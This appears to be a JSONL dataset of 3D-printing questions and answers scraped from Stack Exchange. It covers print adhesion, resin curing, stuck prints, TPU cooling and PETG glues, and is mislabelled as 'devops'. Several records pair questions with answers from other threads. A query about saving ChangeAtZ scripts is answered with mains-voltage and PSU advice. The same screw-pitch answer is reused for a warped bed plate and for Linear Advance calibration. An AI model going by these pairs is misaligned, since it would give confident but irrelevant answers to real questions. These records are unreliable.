{"id": "hf_4b95b9d5146d", "question": "<p>I'm printing with a Prusa MK3, with the following settings:</p>\n\n<ul>\n<li>3 perimeters</li>\n<li>50&nbsp;% infill</li>\n<li>infill overlap: 50&nbsp;%</li>\n</ul>\n\n<p>The filament is Polyalchemy emerald green (PLA). Nozzle temperature: 210&nbsp;°C.</p>\n\n<p>On a simple part (it's a keychain), the shell detaches if I apply a bit of force on a zone of the part that is \"fragile\". See picture. You might not be able to see it, but only the 2 external perimeters detach from the rest of the part. I used to print this part on another printer, and I never observed this problem.</p>\n\n<p>Any idea on how to solve this problem? It seems the 3 external perimeters didn't fuse properly.</p>\n\n<p><a href=\"https://i.stack.imgur.com/cUI0O.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cUI0O.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "I am looking at your picture, and I realize that it is not only that the perimeter is detaching from the infill, but also that the perimeter is breaking.\nOnce the perimeter breaks, the weaker connection with the infill will surely break, too.\nYou could try:\nUsing more than two perimeter layers.  Go big. Try five.\nAdd a fillet where the ring attaches so that the force is not focused on a point.\nChoose an infill percentage and pattern that maximizes the contact between the perimeter and the body.\nChange the angle on the bed at which the keychain is printed so that the infill maximally connects with the breaking point.  That might make the ring be 45 degrees off the X and Y axes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.817699"}
{"id": "hf_ac161c01024b", "question": "<p>I’ve just brought my printer back out after a month and it’s first print created a solid block of resin about 1.5&nbsp;cm deep and the full width and length of the print bed. What could cause this?</p>\n\n<p>My only thought so far is that the FEP film / vat bed is looking a little cloudy even after cleaning. I wondered if this could have caused the light to diffuse across the whole bed?</p>\n\n<p><a href=\"https://i.stack.imgur.com/gucsU.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/gucsU.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Is the laser (or whatever light source it uses) visible? The cloudy film sounds like a good candidate for light diffusion and thus solidifying the entire resin, but if there are visible components to the light source it may help narrow it down.\nIf it uses a projector (\"LCD\") solutions, it may also be that the display that filters the light to certain regions of the resin to selectively solidify the print may be at fault, but that's rather unlikely.\nThe first thing that, in my\nopinion\n, you should do is to check that the object you are printing does not have a corrupt model file. Assuming that you have spare, fresh resin (if your resin is old, that's actually the most likely issue...) and it wasn't too hard to pry out that block, you could try printing something else that worked in the past.\nWhile it's doing that, you may be able to see where/how it is printing. If the beam diffuses or lights up the whole area, you can tell if it's a printer issue (the film sounds like a good first thing to try replacing in that case). On the other hand, if the resin is old, it's probably just getting oversensitive and your printer is fine.\nThe resin is very touchy with these things, and has a shelf life of a few weeks to a few months, and less if it's ever opened.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.881856"}
{"id": "hf_01e88b469b29", "question": "<p>I bought an Ender 3 two days ago and assembled it today. I think I did it properly, tested the movement of all axes which works for all axes. Then I performed the calibration as described in the manual. I used a piece of paper and adjusted the bed until it barely fits underneath the nozzle for all four corners. Afterwards, I wanted to print my first model so I selected the cat from the usb stick which came with printer. And now comes my problem. I let the printer run for 15 minutes. It moved and moved and moved but there was no filament on the bed. The nozzle and bed were heated properly. The one thing which I noticed was that the stepper which feeds the filament turns for like 30° and then flips back: to me it looks like the filament can not be fed in. After canceling the print the extruder moves back to the home position which is like 5 mm off the bed and then suddenly the filament flows out of the nozzle.</p>\n<p>What part of the configuration I'm missing?</p>\n", "question_body": "", "answer": "I use Cura on my Anycubic Chiron which I encountered a similar problem with and I was able to resolve the issue by preheating the nozzle to a higher temp. I would test the nozzle and make sure it is feeding properly. What I mean by that is load the filament manually and make sure it comes out. Reason I say this is because the other issue you may be running into is either the nozzle is clogged or it may be too close to the bed for it to come out of the nozzle. This is all speculation but hopefully it helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.917578"}
{"id": "hf_01206ae4e964", "question": "<p>I printed a model and now I can't remove it.</p>\n\n<p>I have been chiselling away with a putty knife and made little or no progress.  I even heated the bed up to 70&nbsp;&deg;C.  That really didn't seem to help.</p>\n\n<p>Last time, I put it in vice, and tried to free it that way, but instead I broke the glass.</p>\n\n<p>Suggestion?</p>\n", "question_body": "", "answer": "It's useful to know what material you used for the print. Also, you've referenced the glass that broke in the vise, which implies a glass bed, but did you use any adhesive spray or other application?\nAllowing for all of this unknown information, there may be a solution for your release. Our library makerspace has a small bottle of 50-50 water/denatured alcohol, although isopropyl alcohol should also work if your glass is not coated with a special film such as PEI. Heat up the surface of the glass to your usual temperature (50-60°C) and apply a few drops of the mixture to the edge of the print.\nIt will evaporate pretty quickly, but some of it will work under the glass/model interface. Apply a bit more while the glass is still warm. Continue to apply until the the evaporation is no longer accelerated.\nConsidering the difficulty you are experiencing, it may be necessary to repeat the heating sequence multiple times in order to get enough wicking of the liquid to effect a release.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.953268"}
{"id": "hf_8ada140e1346", "question": "<p>I've just built my first 3D printer. It uses a Bowden setup. </p>\n\n<p>When I try to print the extruder starts fine, but after a few seconds the extruder motor start skipping and the nozzle is jammed. </p>\n\n<p>I tried a cold pull, but it didn't help. I removed the PTFE tube and tried to push the filament with my hand, it works but at the start I need the push harder but after it flows fine. But if I reinstall the Bowden setup, it works fine for a few minutes, but after a few seconds it starts again.</p>\n\n<hr>\n\n<p>Note I am using silver PLA at 200-205&nbsp;°C. I tried to raise the temperature to 215&nbsp;°C, but it also jammed, and the filament what after I pushed out was black (it is a new hotend and I never used black filament before), like it was burned (if it is possible).</p>\n", "question_body": "", "answer": "It is useful to diagnose your problem if you provide more information, specifically what material you are using and what temperature you are using on your hot end.\nEven without the above information, it is likely that the hot end temperature is too low. At a low setting, the filament in the nozzle will soften, perhaps even melt as deeply as needed to be extruded, but as new filament is provided by the extruder motor, it also cools the heater block.\nBy increasing the temperature, you're ensuring there is sufficient thermal energy to handle the incoming cold material.\nIt would be useful to increase your nozzle temperature by 5°C for each test. Despite matching your controller's temperature to the manufacturer's specification, you can not be certain that the temperature at the nozzle and heat block are what you have programmed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.000938"}
{"id": "hf_b32d091c0dfd", "question": "<p>I'm getting wavy lines on the first layer only in both the x and y direction identically.  The first layer is 0.4 mm with a 0.4 mm tip. The other layers are 0.2 mm.  I've tried changing the Z offset all the way from -1.2 to 0.5 mm.  I've tried changing the hot end leveling the heated bed.  None of these changes affected the wavy lines.  The waves have about a 1 mm period.  The printer is a German RipRap.  The material is ABS.  The heated bed is 110&nbsp;&deg;C.  I've tried the hot end at 220&nbsp;&deg;C and 240&nbsp;&deg;C.  So far, nothing has changed the waves.  </p>\n\n<p><a href=\"https://i.stack.imgur.com/e74SF.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/e74SF.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "The general recommendation for layer height is to go no thicker than 75% of the nozzle diameter. Your post states 0.4 mm layer height with a 0.4 nozzle, exceeding the recommendation.\nIf your first layer is dropped to 0.3 mm, you'll fall into the recommendation, but the thickness is a reference for ALL layers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.051191"}
{"id": "hf_2b953c3c9135", "question": "<p>I have made a temperature ⨉ fan speed tower which needed 3x9-1 ChangeAtZ post processing scripts and it took me quite much time to configure them all (and check it twice). Is there a way to save this, so that I wouldn't need to make them all again if something went wrong and I needed to start over or if I wanted to do something similar again ?</p>\n", "question_body": "", "answer": "The UK uses 230 V mains voltage. The 220 V designation is from the past, Europe is now using 230 V. You do not have to worry about the frequency.\nYou should place the switch to 220 V and plug the cord into the socket. The printer should start immediately booting (cycling) the printer firmware, the LCD should light up and the cold end cooling fan will spin (annoyingly).\nIf nothing happens, you need to check the Power Supply Unit (PSU) and all cables for proper connection (does the fan of the PSU spin if it has one, you should at least see a led light up). A multimeter is not expensive and generally very valuable to test if it outputs 12 V. That way you know the PSU is working or not, if it works the problem is at the main printer board.\nAs these PSU's are pretty cheap and faulty, you could well have received a broken one.\nHow to measure the voltage?\nIf you look at the connection terminals you will find labels above them. Measuring position 6 and 8 might be the incorrect ones, this depends on your PSU. If you have exactly the same PSU as from the linked video, measuring between 6 and 8 would be correct:\nFrom the image above the connections from left to right (for other PSU units, the order may be different, I have units where the connection to the mains is on the right):\n```\nL\n```\n,\n```\nN\n```\nand\n```\nground\n```\nare used for connection to the mains,\n```\nCOM\n```\n(stands for common or 0 V) or sometimes denoted as\n```\n-V\n```\nis the output ground (negative, connection for the black wires) and\n```\n+V\n```\nis positive, connection for the red wires.\nYou need to measure the voltage difference over\n```\nCOM\n```\nand\n```\n+V\n```\n, this should be the voltage of the power supply. Ideally you measure the voltage when the power supply is delivering a load (e.g. directly connected to a strip of LEDs or directly connected to the heated bed; some faulty PSU crash in under load, this can be seen by a lower voltage than the rated voltage).\nIf the PSU is correctly wired, your fuse is not broken, does not have a LED lighted and the voltage is zero the unit is defective.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.148777"}
{"id": "hf_4f9399f93212", "question": "<p>I want to create two piece labels for storage containers. The main piece would be the “badge” which would have text cut out of it (e.g. “Paint”, “Electrical” etc.). The second piece would be a positive of the text which is would be in a different colour, and would fit inside the cut out on the badge. Because of the tolerance of 3D printers, I need to make the insert slightly smaller than the cut out. Initially, I thought I could just scale the insert but that would affect the letter spacing. Then I thought it would work if I could somehow taper the letters so they are slightly smaller at the top than the bottom. So my question is, how I do that. I did the original in OpenScad but I would try Fusion360 if that’s a better solution. Any and all suggestions are welcome. Thanks.</p>\n", "question_body": "", "answer": "In OpenSCAD, apply the\n```\noffset\n```\ntransformation to inset the letter outlines before extruding them. However you may find it works better to fill the sunken letter shapes with nail polish then remove the overflow with acetone; see my question & answer\nhttps://3dprinting.stackexchange.com/a/10872/11157\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.203123"}
{"id": "hf_129d419c297b", "question": "<p>I've tried to apply a sharp blade (the one that came witht he printer) to scrape the model off like I usually do but this model seems overly robust. What method can I do to take this off safely? </p>\n\n<p>See image <a href=\"https://i.stack.imgur.com/c9nIu.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/c9nIu.jpg\" alt=\"at\"></a></p>\n", "question_body": "", "answer": "Unfortunately, you may have to destroy this part, or the build surface, just to get it off the plate. It looks really on there, and if you can't get under it even with a razor that further supports my gut instinct. It's happened to me before, just part of learning how to print with a particular material on a particular printer and build surface.\nOne thing to try before just hacking away at the part or replacing the build surface (which you may have to do anyway) would be to heat the plate back up to maybe 60-70*C, then hit the part with some freeze spray (or the poor man's version, turning a can of air duster upside-down). The rapid expansion-contraction may pop the part free. How effective this is depends on the plastic you used. PLA doesn't stretch and shrink much, but by the same token it's also very inflexible, so the stretching and shrinking it does do can stil pop the part off. This method's\nreally\neffective for plastics like ABS that stretch/shrink a lot with heat. Remember to ventilate well; the principal component of these sprays is difluoroethane, which isn't great stuff to breathe in any significant concentration, and when spraying the liquid the resulting \"steam\" state of boiling liquid is much more flammable (so after the bed comes up to proper heat, I'd turn off the printer just in case).\nEDIT: Per the comment to this answer, an alternate method would be to heat the plate even further, to about 80-90*C, which would heat the PLA beyond its glass transition temperature, softening it and reducing its adhesion. You would destroy the part, but parts can be reprinted, that's the beauty of owning a general-purpose computer-controlled additive plastic forming machine.\nYour first layer including the brim looks a little close to the plate, which is part of the problem; you\nreally\nsquished that first layer down onto the bed. I would relevel the bed a bit further away, or (if you're happy with how actually level the bed is) set a Z-offset to increase first layer width. There's a very fine balance to be struck here; once you find it, printing (and removing said prints) becomes a lot easier.\nIn future, a build adhesive like Elmer's glue stick or hairspray (or a dedicated adhesive like 3DLAC or Bed Weld) also doubles as a release agent; the adhesive grabs the extruded plastic to keep it on the plate, but also prevents direct contact between two plastics and thus avoids any chemical bonding between the part and plate. Also consider upgrading to a flexible removable surface, like a magnetic BuildTak surface. Being able to take the bed off the printer and then flex the surface to help  pull a corner free (at which point you can slip a scraper in to lift the rest of it off) is a real boon to these types of situations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.230043"}
{"id": "hf_d34801362b40", "question": "<p>Are there any statistics regarding how many units each manufacturer has sold, e.g. in 2019?</p>\n\n<p><a href=\"https://3dprinterchat.com/top-selling-3d-printers/\" rel=\"nofollow noreferrer\">An article</a> from 2016 claims Monoprice to have led the market back then - but all of the printers in that article have become obsolete since then.\nSome manufacturers also claim theirs to be \"one of the most popular\" - but that likely doesn't translate to sales, at least for the more overpriced ones.</p>\n", "question_body": "", "answer": "Getting this data is not easy.  Many companies that make 3D printers are either private companies that do not report results or are larger companies where 3D printers are one of many products they manufacture.  Some companies study this information through mining public sources and surveying users for their opinions and experience.  The result of some of these studies are available for a fee.\nOccasionally, a trade publication will survey data sources and produce an article.  In other cases, a trade pub will publish an article generously offered by a commercial contributor.\nIt is always difficult to know what is true when abstracting information from obscured, noisy, and biased information sources.\nYour question itself includes a bias.  You use a words that include a value judgement: \"but that likely doesn't translate to sales, at least for the more overpriced ones.\"\nThe article you reference is not a deeply researched investigative piece.  It is simply some product details for the five printers in 2016 which sold the most on Amazon.com.  It doesn't include printers which were not sold on Amazon, so it leaves out any printers which use a different distribution channel.  Also, the article include an link, probably which generate revenue back to the magazine, to each of the five printers sold through Amazon.\nTo summarize, it is very difficult to aggregate this kind of information.  Those who try to do so like to be compensated.  A list of the top five devices on Amazon is a biased list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.256131"}
{"id": "hf_69ddf55ebc3c", "question": "<p>Say I wanted to print a plastic credit card like shape (like <a href=\"https://rads.stackoverflow.com/amzn/click/com/B07193KG7G\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">these</a>), but with a QR code engraved. How could I do that for cheap? You can buy an \"ID card printer\" for $1,000-1,500 on Amazon, but that's way too much for printing one or two cards. Maybe down the road this would be a good option, but I kind of like the option of 3D printing the card from scratch, so the QR code bleeds halfway or all the way through the card, rather than just being printed on the surface. Is this possible for cheap? Maybe like <a href=\"https://www.library.ucsf.edu/news/3d-print-the-ultimate-business-card/\" rel=\"nofollow noreferrer\">this</a> but not as fancy. Mainly (I'm new to all this) I am wondering what machine would accomplish this for low price yet good quality, and what other equipment I would need.</p>\n\n<p>Basically, what printer is best for this type of task?</p>\n", "question_body": "", "answer": "FDM printer?\nIf you want to print one, maybe you should outsource it (let it print the tag on both sides), even the most affordable printers are in the \\$100 - \\$150 price range. If you want a printer and use it also to create ID tags, you could go for an FDM printer. Considering your request of having the tag inside (and through) the ID-card you need a dual filament option (one or two nozzle arrangement). If the tag can sit on top you can print it with a filament change with a single filament single nozzle printer. But, don't expect to get crystal clear prints (see experience printing signs below)!\nAlternatives\nAs an alternative, you could print a blank PLA ID-card and laser mark the tag onto both sides, see e.g.\nthis video\n.\nIf it is a small batch you can also consider printing/lasering stickers and stick these onto blank ID cards.\nFrom experience\nI've done some signs with black letters on a white background for \"on-lay\", inlay and through arrangements using a more expensive (for home use) dual extruder 3D printer (Ultimaker 3 Extended about \\$5000,-) with PETG, but the results were not very satisfying. Usually the black smears out on or in the white no matter tweaking the options. Considering the size of an ID-card, the amount of tag squares, this is even more likely to happen when you print at that small size (the signs I printed were sized similar to the \"A5\" paper standard).\nFrom my experience I would say that a 3D printer may not be the best solution for your task.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.280954"}
{"id": "hf_578e08914108", "question": "<p>Which type of filament material(s) is safe to use as an in-wall box for regular, 120v wiring? For instance, an electrical outlet box.</p>\n\n<p>In case it matters, location is the state of Washington, USA.</p>\n", "question_body": "", "answer": "I haven't tested the commercial \"blue boxes\" used to hold 120/240 V electrical outlets, switches, and splices to see how they behave when heated.  As such, this argument is based on intuition, which is intrinsically flawed as a logic device.  Never-the-less, I think the no extruded molten plastic (FFF) 3D printing filament will work.\nThe purpose of the junction box is to contain an overheating connection or switch and prevent it from causing a fire in the wall.  Any FFF filament will have a melting point below the ignition point of wood, and would therefore flow away from the overheating point.  It seems that any thermoplastic with a \"normal\" melting point would have this problem.\nYou might look at UV polymerized printing resins, such as are used in the Stratasys Objet, Form Labs, and Prusa SL1.  These printing processes aren't constrained to use plastics that can be melted or heat softened.  Because the polymerization can involve more aggressive crosslinking (polymerization) that FFF materials, they have the potential to be good for a higher temperature.\nAs an example of a high-temperature, non-melting plastic which could perhaps have an analogue in SLS resin, polyester \"casting compound\" is cross linked by a methyl-ethyl-ketone-peroxide catalyst to form clear solid.  24 hours after the polymerization starts, the solid does not melt under the influence of a hot air gun.  I tried to melt it and it would not melt.  It slightly softened, but the plastic cup I had cast it in was dripping away -- but the polyester was not melting.\nI looked through the Stratasys materials and Form Labs materials and did not see a much higher temperature material.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.342660"}
{"id": "hf_5fda97ed6d42", "question": "<p>I got a new CR-10S 3D printer (I received it at Christmas). It has been printing just fine until yesterday, I was doing a print and it randomly paused, it did not restart on its own, I had to restart the print, then the item finished just fine.  I am printing today, a very small item, the printer now stopped 3 times.  How can I fix this, or do I need to return it?</p>\n", "question_body": "", "answer": "It would be great if you can write what the printer says when it stops.\nI suggest you try printing other small objects. If that also stops then the printer itself has a problem. But if the printer prints other objects without stopping, then the one you want to print has bad gcode files. You also need to make sure to keep it up-to-date Cura. It would also be great if you can update your printer firmware. But other than that, problems could be heat problem, power problem, and other stuff; it would be great again if you can write the problem that says on the printer as it stops...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.367242"}
{"id": "hf_4d7711cf4ef2", "question": "<p>I could have sworn I read somewhere that when printing with TPU to make sure the part cooling fan is blowing. But I just did a quick Googling and couldn't find anything stating such on Matter Hackers or All3dp.</p>\n\n<p>I currently don't have a part cooling fan attached (waiting for square nuts to come in). I've been able to get by printing PLA without the fan. I'm curious if this is going to be a major obstacle with TPU.</p>\n", "question_body": "", "answer": "You'll probably be fine printing TPU with no fan. I just started printing with TPU, and did a lot of test prints to find out what settings work. Fan made little difference. With hotend at 230 °C, which I started out with, 0-20% fan was fine. I eventually increased temperature to 250 °C, which made extrusion more consistent and allowed me to reduce linear advance K-factor somewhat, and at that temperature having a bit more fan (I'm using 40% now) seems to help the material hold its shape, but it mainly made a difference at higher print speeds (over 35 mm/s) where the motion of the nozzle was \"pulling on\" the still-very-soft material just extruded. At 30 mm/s and below, fan still doesn't seem very important.\nAll of this is likely to vary somewhat with the properties of your machine. However I think it's safe to say you should be able to find a combination of print speed and temperature that make it possible to get by with no fan.\nFollow-up:\nUpon further experimentation with TPU, I would say you really\ndon't want any fan at all\n, except possibly for bridges. I've found significant distortion to shape just from air pressure from the fan, and at higher speeds the fan makes the print brittle just like what happens with PETG. Layers of TPU really seem to want time to melt together to bond, and without a fan blowing on them they don't seem to lose their shape during that time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.390978"}
{"id": "hf_095a719648c4", "question": "<p>Looking for something to smooth out a PLA print. Would Mod Podge be a good solution? Will it stick? </p>\n", "question_body": "", "answer": "From what I've read about Mod Podge, it is an adhesive with a vinyl acetate base. As such it is similar to both PVA (used for wash-away support) and ordinary white glue. One of the more common references to the product refers to it not being water proof, although the outdoor version of the product presents as being water-resistant.\nAs part of the research for this answer, I found references to overly-thick coats becoming milky. This follows a reference to applying thin multiple coats and allowing proper cure time between coats. That proper cure time is listed as 28 days.\nAnother set of posts suggest to cure the MP more rapidly than 28 days, one can heat the item in an oven to 175°F (80°C) which should not cause the PLA to melt, but may allow for sagging of unsupported parts. Testing is recommended.\nMP is an adhesive, is known to stick to non-porous surfaces and would be no more harmful than glue stick for a PLA (or ABS) model.\nDurability is uncertain. If you intend to paint the item after sealing/smoothing, you'll gain durability and water resistance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.439438"}
{"id": "hf_939651854376", "question": "<p>What is the thread pitch of the Ender 3's bed leveling screws? The diameter measures about 4mm. Are they M4 0.7 (coarse) pitch or 0.5 (fine) pitch? I'd like to develop rigorous formulas for the amount to turn the knobs by after measuring (or visually inspecting, since I can see an accurate 0.2 mm first layer decently well) leveling-test patterns in the corners rather than using a closed-loop tune-and-retry approach.</p>\n", "question_body": "", "answer": "I don't know what the value is, but there are a few ways to find out. It is very hard to measure this with a caliper, but it can be done, mark the upper and bottom of e.g. 10 windings and measure this with a caliper. Alternatively measure how much the screw drops after 10 full turns.\nThere are special tools that give you the answer directly, they cost a few Euros/bucks but can be very handy; a thread gauge, just place the 0.5 mm and the 0.7 mm beside the screw and you will instantly see which is the correct one.\nI bought mine at a typical Chinese vendor site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.487071"}
{"id": "hf_d2303ecd1190", "question": "<p>I have an Ender 3 with a removeable build surface. The build surface backing has become warped - the center is at least 0.3 mm higher than the corners. I'm not sure what the material of this plate is - it's the part behind the BuildTak-clone surface that sits on the aluminum heat bed and is clipped to it. This makes it impossible to level the entire bed, and annoyingly tedious to level it enough just to use the center, since the paper method doesn't work at the corners. Can this be fixed, or do I need to source a replacement for it?</p>\n", "question_body": "", "answer": "I don't know what the value is, but there are a few ways to find out. It is very hard to measure this with a caliper, but it can be done, mark the upper and bottom of e.g. 10 windings and measure this with a caliper. Alternatively measure how much the screw drops after 10 full turns.\nThere are special tools that give you the answer directly, they cost a few Euros/bucks but can be very handy; a thread gauge, just place the 0.5 mm and the 0.7 mm beside the screw and you will instantly see which is the correct one.\nI bought mine at a typical Chinese vendor site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.511462"}
{"id": "hf_53b84103cfcc", "question": "<p>Marlin has a <a href=\"http://marlinfw.org/tools/lin_advance/k-factor.html\" rel=\"nofollow noreferrer\">Linear Advance calibration pattern generator</a>, but I find it's hard to use because:</p>\n\n<ul>\n<li>It only prints the initial layer on the bed, where bed irregularities interfere with accurate reading of it.</li>\n<li>It doesn't do proper retraction and priming, so a mess of strings and underextruded initial segments/non-adhesion mess up the results.</li>\n<li>It's hard to visually evaluate.</li>\n<li>Getting a very wide range of K values involves multiple runs.</li>\n<li>It's hard to clean up.</li>\n</ul>\n\n<p>Is there a better procedure for calibration of K value for linear advance?</p>\n", "question_body": "", "answer": "I don't know what the value is, but there are a few ways to find out. It is very hard to measure this with a caliper, but it can be done, mark the upper and bottom of e.g. 10 windings and measure this with a caliper. Alternatively measure how much the screw drops after 10 full turns.\nThere are special tools that give you the answer directly, they cost a few Euros/bucks but can be very handy; a thread gauge, just place the 0.5 mm and the 0.7 mm beside the screw and you will instantly see which is the correct one.\nI bought mine at a typical Chinese vendor site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.541356"}
{"id": "hf_63536913d993", "question": "<p>I faced some problem with my 3D printer device. It seems the bed warms up without any problem, however, the hotend does not warm up! </p>\n\n<p>Could you please help me identify what the problem is? </p>\n", "question_body": "", "answer": "I really hope the extruder doesn't warm up as this would be a problem with your stepper motor :)\nI'm sure you mean the hotend doesn't heat up. This could be a number of things but i would start to double check the pinout in your code vs the pins on your mainboard and measure if it gives 12v/24v (depending on your PSU) output.\nThere's a lot more info required to properly help you.\nWhat board are you using?\nWhat OS are you using? Marlin or something else?\nShare the relevant code of the OS for the hotend config/pinout\npotentially share pictures of your wiring", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.565783"}
{"id": "hf_a7d4f64745d8", "question": "<p>Lately I noticed that there is a new type of nozzles (called airbrush nozzles?!?) available; typically found on those online overseas vendor sites. The nozzles are advertised for usage in E3D hardware, but are not found amongst the <a href=\"https://e3d-online.com/nozzles-for-3d-printer\" rel=\"noreferrer\">E3D genuine nozzles</a>.</p>\n\n<p>These nozzles look like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/OH4O2.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/OH4O2.png\" alt=\"Airbrush nozzle\"></a></p>\n\n<p></p>\n\n<p>What are the basic physics principles or what is the engineering relevance for application of airbrush nozzles? (Gimmick or actual product improvement?)</p>\n", "question_body": "", "answer": "They are used for nonplaner 3d printing.\nhttps://all3dp.com/4/nonplanar-3d-printing-gives-the-smoothest-top-layers/\nThe gist of it is, that You can achieve smoother, curvy top layers that are more true to form, buy using a nozzle like the one you mentioned. Also, they can be used to print multiple objects at the same time, where is faster to print 10 to 20 layers of one object then switch to the next object on the build plate, rather than having to print each layer of each object sequentially. This reduces build time, stringing, voids and the potential knocking off the part by the nozzle (as it moves to print the next object, since that object may have shrunk/expanded since the nozzle last visited it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.626345"}
{"id": "hf_490fae81b827", "question": "<p>In analogy to: <a href=\"https://3dprinting.stackexchange.com/q/6723/4762\">What glues for bonding printed PLA to injection-molded plastic?</a>, what are the best glues to use for PETG?</p>\n<p>I mostly print in PETG and have occasional failed prints which I usually reprint. But what if I'd like to repair a print e.g. a split between layers or a part broken off?</p>\n<p>Knowing that PETG is more &quot;greasy&quot; than PLA, what typical glues can you use to create a good bond; this question excludes using heat to (re-)bond.</p>\n", "question_body": "", "answer": "From\nforum\nBison plastic - works great for me, only it's not \"quick dry\" but it's very strong, not brittle, holds PETG and PLA very strongly. \n  Buy paint stripper that is/contains methylene chloride (dichloromethane). It will solvent weld both PLA and PETG.\nOr see\nother forum\nwhich recommends Eastman-910 (original brand of cyanoacrylate) or any equivalent, polyurethane glue, or even epoxy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:09.650118"}
